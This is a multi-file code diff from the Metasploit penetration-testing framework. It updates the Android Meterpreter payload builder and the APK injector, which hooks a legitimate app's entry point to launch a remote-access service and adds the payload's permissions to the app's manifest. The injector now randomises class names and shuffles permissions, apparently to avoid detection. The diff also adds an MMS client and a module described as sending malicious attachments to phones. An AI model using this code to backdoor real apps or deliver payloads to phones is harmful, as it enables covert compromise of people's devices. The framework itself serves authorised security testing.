# Switch to IPv6 ANY address if the LHOST is also IPv6
|
||||||
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||||
|
|
||||||
# First attempt to bind LHOST. If that fails, the user probably has
|
# First attempt to bind LHOST. If that fails, the user probably has
|
||||||
# something else listening on that interface. Try again with ANY_ADDR.
|
# something else listening on that interface. Try again with ANY_ADDR.
|
||||||
any = (addr.length == 4) ? "0.0.0.0" : "::0"
|
any = (addr.length == 4) ? "0.0.0.0" : "::0"
|
||||||
|
addr = Rex::Socket.addr_ntoa(addr)
|
||||||
|
|
||||||
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
|
# Checking if LHOST is a loopback address
|
||||||
|
if is_loopback_address?(addr)
|
||||||
|
print_warning("You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?")
|
||||||
|
end
|
||||||
|
|
||||||
|
addrs = [ addr, any ]
|
||||||
|
|
||||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||||
# Only try to bind to this specific interface
|
# Only try to bind to this specific interface
|
||||||
|
@ -87,10 +104,8 @@ module Msf
|
||||||
print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -")
|
print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -")
|
||||||
else
|
else
|
||||||
ex = false
|
ex = false
|
||||||
|
|
||||||
via = via_string_for_ip(ip, comm)
|
via = via_string_for_ip(ip, comm)
|
||||||
print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}")
|
print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}")
|
||||||
|
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -419,4 +419,3 @@ end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -54,15 +54,9 @@ module Msf::Payload::Android
|
||||||
transports: opts[:transport_config] || [transport_config(opts)]
|
transports: opts[:transport_config] || [transport_config(opts)]
|
||||||
}
|
}
|
||||||
|
|
||||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
|
||||||
result = config.to_b
|
config[0] = "\x01" if opts[:stageless]
|
||||||
|
config
|
||||||
result[0] = "\x01" if opts[:stageless]
|
|
||||||
result
|
|
||||||
end
|
|
||||||
|
|
||||||
def string_sub(data, placeholder="", input="")
|
|
||||||
data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length))
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def sign_jar(jar)
|
def sign_jar(jar)
|
||||||
|
@ -98,14 +92,18 @@ module Msf::Payload::Android
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_jar(opts={})
|
def generate_jar(opts={})
|
||||||
|
config = generate_config(opts)
|
||||||
if opts[:stageless]
|
if opts[:stageless]
|
||||||
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
|
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
|
||||||
|
# Add stageless classname at offset 8000
|
||||||
|
config += "\x00" * (8000 - config.size)
|
||||||
|
config += 'com.metasploit.meterpreter.AndroidMeterpreter'
|
||||||
else
|
else
|
||||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||||
end
|
end
|
||||||
|
|
||||||
config = generate_config(opts)
|
config += "\x00" * (8195 - config.size)
|
||||||
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||||
|
|
||||||
jar = Rex::Zip::Jar.new
|
jar = Rex::Zip::Jar.new
|
||||||
files = [
|
files = [
|
||||||
|
|
|
@ -35,9 +35,14 @@ class Msf::Payload::Apk
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Find the activity that is opened when you click the app icon
|
# Find a suitable smali point to hook
|
||||||
def find_launcher_activity(amanifest)
|
def find_hook_point(amanifest)
|
||||||
package = amanifest.xpath("//manifest").first['package']
|
package = amanifest.xpath("//manifest").first['package']
|
||||||
|
application = amanifest.xpath('//application')
|
||||||
|
application_name = application.attribute("name")
|
||||||
|
if application_name
|
||||||
|
return application_name.to_s
|
||||||
|
end
|
||||||
activities = amanifest.xpath("//activity|//activity-alias")
|
activities = amanifest.xpath("//activity|//activity-alias")
|
||||||
for activity in activities
|
for activity in activities
|
||||||
activityname = activity.attribute("targetActivity")
|
activityname = activity.attribute("targetActivity")
|
||||||
|
@ -68,7 +73,7 @@ class Msf::Payload::Apk
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
def fix_manifest(tempdir, package)
|
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
|
||||||
#Load payload's manifest
|
#Load payload's manifest
|
||||||
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
|
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
|
||||||
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
|
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
|
||||||
|
@ -78,6 +83,8 @@ class Msf::Payload::Apk
|
||||||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||||
|
|
||||||
old_permissions = []
|
old_permissions = []
|
||||||
|
add_permissions = []
|
||||||
|
|
||||||
original_permissions.each do |permission|
|
original_permissions.each do |permission|
|
||||||
name = permission.attribute("name").to_s
|
name = permission.attribute("name").to_s
|
||||||
old_permissions << name
|
old_permissions << name
|
||||||
|
@ -87,21 +94,26 @@ class Msf::Payload::Apk
|
||||||
payload_permissions.each do |permission|
|
payload_permissions.each do |permission|
|
||||||
name = permission.attribute("name").to_s
|
name = permission.attribute("name").to_s
|
||||||
unless old_permissions.include?(name)
|
unless old_permissions.include?(name)
|
||||||
print_status("Adding #{name}")
|
add_permissions += [permission.to_xml]
|
||||||
if original_permissions.empty?
|
end
|
||||||
application.before(permission.to_xml)
|
end
|
||||||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
add_permissions.shuffle!
|
||||||
else
|
for permission_xml in add_permissions
|
||||||
original_permissions.before(permission.to_xml)
|
print_status("Adding #{permission_xml}")
|
||||||
end
|
if original_permissions.empty?
|
||||||
|
application.before(permission_xml)
|
||||||
|
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||||
|
else
|
||||||
|
original_permissions.before(permission_xml)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
application = original_manifest.at_xpath('/manifest/application')
|
application = original_manifest.at_xpath('/manifest/application')
|
||||||
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
|
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
|
||||||
service = payload_manifest.at_xpath('/manifest/application/service')
|
service = payload_manifest.at_xpath('/manifest/application/service')
|
||||||
receiver.attributes["name"].value = package + receiver.attributes["name"].value
|
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
|
||||||
service.attributes["name"].value = package + service.attributes["name"].value
|
receiver.attributes["label"].value = main_broadcast_receiver
|
||||||
|
service.attributes["name"].value = package + '.' + main_service
|
||||||
application << receiver.to_xml
|
application << receiver.to_xml
|
||||||
application << service.to_xml
|
application << service.to_xml
|
||||||
|
|
||||||
|
@ -110,7 +122,7 @@ class Msf::Payload::Apk
|
||||||
|
|
||||||
def parse_orig_cert_data(orig_apkfile)
|
def parse_orig_cert_data(orig_apkfile)
|
||||||
orig_cert_data = Array[]
|
orig_cert_data = Array[]
|
||||||
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
|
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
|
||||||
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
||||||
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
||||||
orig_cert_data.push("#{orig_cert_dname}")
|
orig_cert_data.push("#{orig_cert_dname}")
|
||||||
|
@ -185,24 +197,22 @@ class Msf::Payload::Apk
|
||||||
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
||||||
|
|
||||||
print_status "Locating hook point..\n"
|
print_status "Locating hook point..\n"
|
||||||
launcheractivity = find_launcher_activity(amanifest)
|
hookable_class = find_hook_point(amanifest)
|
||||||
unless launcheractivity
|
smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
|
||||||
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
|
|
||||||
end
|
|
||||||
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
|
|
||||||
smalifiles = Dir.glob(smalifile)
|
smalifiles = Dir.glob(smalifile)
|
||||||
for smalifile in smalifiles
|
for smalifile in smalifiles
|
||||||
if File.readable?(smalifile)
|
if File.readable?(smalifile)
|
||||||
activitysmali = File.read(smalifile)
|
hooksmali = File.read(smalifile)
|
||||||
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
unless activitysmali
|
unless hooksmali
|
||||||
raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n"
|
raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
entrypoint = 'return-void'
|
entrypoint = 'return-void'
|
||||||
unless activitysmali.include? entrypoint
|
unless hooksmali.include? entrypoint
|
||||||
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
|
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -212,6 +222,10 @@ class Msf::Payload::Apk
|
||||||
|
|
||||||
package = amanifest.xpath("//manifest").first['package']
|
package = amanifest.xpath("//manifest").first['package']
|
||||||
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||||
|
classes = {}
|
||||||
|
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||||
|
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||||
|
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||||
package_slash = package.gsub(/\./, "/")
|
package_slash = package.gsub(/\./, "/")
|
||||||
print_status "Adding payload as package #{package}\n"
|
print_status "Adding payload as package #{package}\n"
|
||||||
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
|
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
|
||||||
|
@ -221,15 +235,22 @@ class Msf::Payload::Apk
|
||||||
# Copy over the payload files, fixing up the smali code
|
# Copy over the payload files, fixing up the smali code
|
||||||
payload_files.each do |file_name|
|
payload_files.each do |file_name|
|
||||||
smali = File.read(file_name)
|
smali = File.read(file_name)
|
||||||
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
|
smali_class = File.basename file_name
|
||||||
newfilename = "#{payload_dir}#{File.basename file_name}"
|
for oldclass, newclass in classes
|
||||||
File.open(newfilename, "wb") {|file| file.puts newsmali }
|
if smali_class == "#{oldclass}.smali"
|
||||||
|
smali_class = "#{newclass}.smali"
|
||||||
|
end
|
||||||
|
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
|
||||||
|
end
|
||||||
|
smali.gsub!(/com\/metasploit\/stage/, package_slash)
|
||||||
|
newfilename = "#{payload_dir}#{smali_class}"
|
||||||
|
File.open(newfilename, "wb") {|file| file.puts smali }
|
||||||
end
|
end
|
||||||
|
|
||||||
payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V
|
payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
|
||||||
|
|
||||||
^ + entrypoint
|
^ + entrypoint
|
||||||
hookedsmali = activitysmali.sub(entrypoint, payloadhook)
|
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
|
||||||
|
|
||||||
print_status "Loading #{smalifile} and injecting payload..\n"
|
print_status "Loading #{smalifile} and injecting payload..\n"
|
||||||
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
||||||
|
@ -237,7 +258,7 @@ class Msf::Payload::Apk
|
||||||
injected_apk = "#{tempdir}/output.apk"
|
injected_apk = "#{tempdir}/output.apk"
|
||||||
aligned_apk = "#{tempdir}/aligned.apk"
|
aligned_apk = "#{tempdir}/aligned.apk"
|
||||||
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
||||||
fix_manifest(tempdir, package)
|
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
|
||||||
|
|
||||||
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||||
|
|
|
@ -8,6 +8,7 @@ require 'rex/proto/iax2'
|
||||||
require 'rex/proto/kerberos'
|
require 'rex/proto/kerberos'
|
||||||
require 'rex/proto/rmi'
|
require 'rex/proto/rmi'
|
||||||
require 'rex/proto/sms'
|
require 'rex/proto/sms'
|
||||||
|
require 'rex/proto/mms'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Proto
|
module Proto
|
||||||
|
|
|
@ -0,0 +1,4 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/proto/mms/exception'
|
||||||
|
require 'rex/proto/mms/model'
|
|
@ -0,0 +1,89 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module Mms
|
||||||
|
class Client
|
||||||
|
|
||||||
|
# @!attribute carrier
|
||||||
|
# @return [Symbol] The service provider for the phone numbers.
|
||||||
|
attr_accessor :carrier
|
||||||
|
|
||||||
|
# @!attribute smtp_server
|
||||||
|
# @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings.
|
||||||
|
attr_accessor :smtp_server
|
||||||
|
|
||||||
|
|
||||||
|
# Initializes the Client object.
|
||||||
|
#
|
||||||
|
# @param [Hash] opts
|
||||||
|
# @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS)
|
||||||
|
# @option opts [Rex::Proto::mms::Model::Smtp] SMTP object
|
||||||
|
#
|
||||||
|
# @return [Rex::Proto::Mms::Client]
|
||||||
|
def initialize(opts={})
|
||||||
|
self.carrier = opts[:carrier]
|
||||||
|
self.smtp_server = opts[:smtp_server]
|
||||||
|
|
||||||
|
validate_carrier!
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Sends a media text to multiple recipients.
|
||||||
|
#
|
||||||
|
# @param phone_numbers [<String>Array] An array of phone numbers.
|
||||||
|
# @param subject [String] MMS subject
|
||||||
|
# @param message [String] The message to send.
|
||||||
|
# @param attachment_path [String] (Optional) The attachment to include
|
||||||
|
# @param ctype [String] (Optional) The content type to use for the attachment
|
||||||
|
#
|
||||||
|
# @return [void]
|
||||||
|
def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
|
||||||
|
carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier]
|
||||||
|
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
|
||||||
|
address = self.smtp_server.address
|
||||||
|
port = self.smtp_server.port
|
||||||
|
username = self.smtp_server.username
|
||||||
|
password = self.smtp_server.password
|
||||||
|
helo_domain = self.smtp_server.helo_domain
|
||||||
|
login_type = self.smtp_server.login_type
|
||||||
|
from = self.smtp_server.from
|
||||||
|
|
||||||
|
smtp = Net::SMTP.new(address, port)
|
||||||
|
|
||||||
|
begin
|
||||||
|
smtp.enable_starttls_auto
|
||||||
|
smtp.start(helo_domain, username, password, login_type) do
|
||||||
|
recipients.each do |r|
|
||||||
|
mms_message = Rex::Proto::Mms::Model::Message.new(
|
||||||
|
message: message,
|
||||||
|
content_type: ctype,
|
||||||
|
attachment_path: attachment_path,
|
||||||
|
from: from,
|
||||||
|
to: r,
|
||||||
|
subject: subject
|
||||||
|
)
|
||||||
|
smtp.send_message(mms_message.to_s, from, r)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue Net::SMTPAuthenticationError => e
|
||||||
|
raise Rex::Proto::Mms::Exception, e.message
|
||||||
|
ensure
|
||||||
|
smtp.finish if smtp && smtp.started?
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Validates the carrier parameter.
|
||||||
|
#
|
||||||
|
# @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used.
|
||||||
|
def validate_carrier!
|
||||||
|
unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier)
|
||||||
|
raise Rex::Proto::Mms::Exception, 'Invalid carrier.'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,10 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module Mms
|
||||||
|
class Exception < ::RuntimeError
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,24 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module Mms
|
||||||
|
module Model
|
||||||
|
|
||||||
|
GATEWAYS = {
|
||||||
|
att:'mms.att.net', # AT&T Wireless
|
||||||
|
sprint: 'pm.sprint.com', # Sprint
|
||||||
|
tmobile: 'tmomail.net', # T-Mobile
|
||||||
|
verizon: 'vzwpix.com', # Verizon
|
||||||
|
google: 'msg.fi.google.com' # Google
|
||||||
|
}
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
require 'net/smtp'
|
||||||
|
require 'rex/proto/mms/model/smtp'
|
||||||
|
require 'rex/proto/mms/model/message'
|
||||||
|
require 'rex/proto/mms/client'
|
|
@ -0,0 +1,108 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module Mms
|
||||||
|
module Model
|
||||||
|
class Message
|
||||||
|
|
||||||
|
# @!attribute message
|
||||||
|
# @return [String] The text message
|
||||||
|
attr_accessor :message
|
||||||
|
|
||||||
|
# @!attribute content_type
|
||||||
|
# @return [Fixnum] The content type of the attachment
|
||||||
|
attr_accessor :content_type
|
||||||
|
|
||||||
|
# @!attribute attachment
|
||||||
|
# @return [String] The loaded attachment converted to Base64
|
||||||
|
attr_accessor :attachment
|
||||||
|
|
||||||
|
# @!attribute from
|
||||||
|
# @return [String] The from field in the email
|
||||||
|
attr_accessor :from
|
||||||
|
|
||||||
|
# @!attribute to
|
||||||
|
# @return [String] The to field in the email
|
||||||
|
attr_accessor :to
|
||||||
|
|
||||||
|
# @!attribute subject
|
||||||
|
# @return [String] The subject of the email
|
||||||
|
attr_accessor :subject
|
||||||
|
|
||||||
|
# @!attribute attachment_name
|
||||||
|
# @return [String] The attachment base name extracted from :attachment
|
||||||
|
attr_accessor :attachment_name
|
||||||
|
|
||||||
|
|
||||||
|
# Initializes the SMTP object.
|
||||||
|
#
|
||||||
|
# @param [Hash] opts
|
||||||
|
# @option opts [String] :from
|
||||||
|
# @option opts [String] :to
|
||||||
|
# @option opts [String] :message
|
||||||
|
# @option opts [String] :content_type
|
||||||
|
# @option opts [String] :attachment_path
|
||||||
|
#
|
||||||
|
# @return [Rex::Proto::Mms::Model::Message]
|
||||||
|
def initialize(opts={})
|
||||||
|
self.from = opts[:from]
|
||||||
|
self.to = opts[:to]
|
||||||
|
self.message = opts[:message]
|
||||||
|
self.subject = opts[:subject]
|
||||||
|
self.content_type = opts[:content_type]
|
||||||
|
if opts[:attachment_path]
|
||||||
|
self.attachment = load_file_to_base64(opts[:attachment_path])
|
||||||
|
self.attachment_name = File.basename(opts[:attachment_path])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the raw MMS message
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
|
def to_s
|
||||||
|
generate_mms_message
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the loaded file in Base64 format
|
||||||
|
#
|
||||||
|
# @return [String] Base64 data
|
||||||
|
def load_file_to_base64(path)
|
||||||
|
buf = File.read(path)
|
||||||
|
(Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the raw MMS message
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
|
def generate_mms_message
|
||||||
|
text = Rex::MIME::Message.new
|
||||||
|
text.add_part(self.message, 'text/plain; charset=UTF-8', nil)
|
||||||
|
body = Rex::MIME::Message.new
|
||||||
|
body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil)
|
||||||
|
if self.attachment
|
||||||
|
body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"")
|
||||||
|
end
|
||||||
|
|
||||||
|
mms = "MIME-Version: 1.0\n"
|
||||||
|
mms << "From: #{self.from}\n"
|
||||||
|
mms << "To: #{self.to}\n"
|
||||||
|
mms << "Subject: #{self.subject}\n"
|
||||||
|
mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n"
|
||||||
|
mms << "\n"
|
||||||
|
mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_")
|
||||||
|
|
||||||
|
mms
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,64 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module Mms
|
||||||
|
module Model
|
||||||
|
class Smtp
|
||||||
|
|
||||||
|
# @!attribute address
|
||||||
|
# @return [String] SMTP address
|
||||||
|
attr_accessor :address
|
||||||
|
|
||||||
|
# @!attribute port
|
||||||
|
# @return [Fixnum] SMTP port
|
||||||
|
attr_accessor :port
|
||||||
|
|
||||||
|
# @!attribute username
|
||||||
|
# @return [String] SMTP account/username
|
||||||
|
attr_accessor :username
|
||||||
|
|
||||||
|
# @!attribute password
|
||||||
|
# @return [String] SMTP password
|
||||||
|
attr_accessor :password
|
||||||
|
|
||||||
|
# @!attribute login_type
|
||||||
|
# @return [Symbol] SMTP login type (:login, :plain, and :cram_md5)
|
||||||
|
attr_accessor :login_type
|
||||||
|
|
||||||
|
# @!attribute from
|
||||||
|
# @return [String] Sender
|
||||||
|
attr_accessor :from
|
||||||
|
|
||||||
|
# @!attribute helo_domain
|
||||||
|
# @return [String] The domain to use for the HELO SMTP message
|
||||||
|
attr_accessor :helo_domain
|
||||||
|
|
||||||
|
|
||||||
|
# Initializes the SMTP object.
|
||||||
|
#
|
||||||
|
# @param [Hash] opts
|
||||||
|
# @option opts [String] :address
|
||||||
|
# @option opts [Fixnum] :port
|
||||||
|
# @option opts [String] :username
|
||||||
|
# @option opts [String] :password
|
||||||
|
# @option opts [String] :helo_domain
|
||||||
|
# @option opts [Symbol] :login_type
|
||||||
|
# @option opts [String] :from
|
||||||
|
#
|
||||||
|
# @return [Rex::Proto::Mms::Model::Smtp]
|
||||||
|
def initialize(opts={})
|
||||||
|
self.address = opts[:address]
|
||||||
|
self.port = opts[:port] || 25
|
||||||
|
self.username = opts[:username]
|
||||||
|
self.password = opts[:password]
|
||||||
|
self.helo_domain = opts[:helo_domain] || 'localhost'
|
||||||
|
self.login_type = opts[:login_type] || :login
|
||||||
|
self.from = opts[:from] || ''
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
|
||||||
# are needed when there's no database
|
# are needed when there's no database
|
||||||
spec.add_runtime_dependency 'metasploit-model'
|
spec.add_runtime_dependency 'metasploit-model'
|
||||||
# Needed for Meterpreter
|
# Needed for Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.17'
|
spec.add_runtime_dependency 'metasploit-payloads', '1.2.18'
|
||||||
# Needed for the next-generation POSIX Meterpreter
|
# Needed for the next-generation POSIX Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
|
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
|
|
|
@ -0,0 +1,35 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Mms
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'MMS Client',
|
||||||
|
'Description' => %q{
|
||||||
|
This module sends an MMS message to multiple phones of the same carrier.
|
||||||
|
You can use it to send a malicious attachment to phones.
|
||||||
|
},
|
||||||
|
'Author' => [ 'sinn3r' ],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
phone_numbers = datastore['CELLNUMBERS'].split
|
||||||
|
print_status("Sending mms message to #{phone_numbers.length} number(s)...")
|
||||||
|
begin
|
||||||
|
res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE'])
|
||||||
|
print_status("Done.")
|
||||||
|
rescue Rex::Proto::Mms::Exception => e
|
||||||
|
print_error(e.message)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -16,8 +16,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
This module sends a text message to multiple phones of the same carrier.
|
This module sends a text message to multiple phones of the same carrier.
|
||||||
You can use it to send a malicious link to phones.
|
You can use it to send a malicious link to phones.
|
||||||
|
|
||||||
Please note that you do not use this module to send a media file (attachment),
|
Please note that you do not use this module to send a media file (attachment).
|
||||||
because that is MMS.
|
In order to send a media file, please use auxiliary/client/mms/send_mms instead.
|
||||||
},
|
},
|
||||||
'Author' => [ 'sinn3r' ],
|
'Author' => [ 'sinn3r' ],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
|
|
|
@ -180,14 +180,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
def storedb(hashreq,response,dbpath)
|
def storedb(hashreq,response,dbpath)
|
||||||
|
|
||||||
|
# Added host/port/ssl for report_web_page support
|
||||||
info = {
|
info = {
|
||||||
:web_site => @current_site,
|
:web_site => @current_site,
|
||||||
:path => hashreq['uri'],
|
:path => hashreq['uri'],
|
||||||
:query => hashreq['query'],
|
:query => hashreq['query'],
|
||||||
:data => hashreq['data'],
|
:host => hashreq['rhost'],
|
||||||
:code => response['code'],
|
:port => hashreq['rport'],
|
||||||
:body => response['body'],
|
:ssl => !hashreq['ssl'].nil?,
|
||||||
:headers => response['headers']
|
:data => hashreq['data'],
|
||||||
|
:code => response.code,
|
||||||
|
:body => response.body,
|
||||||
|
:headers => response.headers
|
||||||
}
|
}
|
||||||
|
|
||||||
#if response['content-type']
|
#if response['content-type']
|
||||||
|
|
|
@ -39,11 +39,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
print_status("#{ip}:#{rport} TELNET #{banner_santized}")
|
print_status("#{ip}:#{rport} TELNET #{banner_santized}")
|
||||||
report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized)
|
report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized)
|
||||||
end
|
end
|
||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
|
||||||
rescue Timeout::Error
|
print_error("A network issue has occurred: #{e.message}")
|
||||||
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||||
|
rescue Timeout::Error => e
|
||||||
print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
|
print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
|
||||||
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_error("#{e} #{e.backtrace}")
|
print_error("#{e} #{e.backtrace}")
|
||||||
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
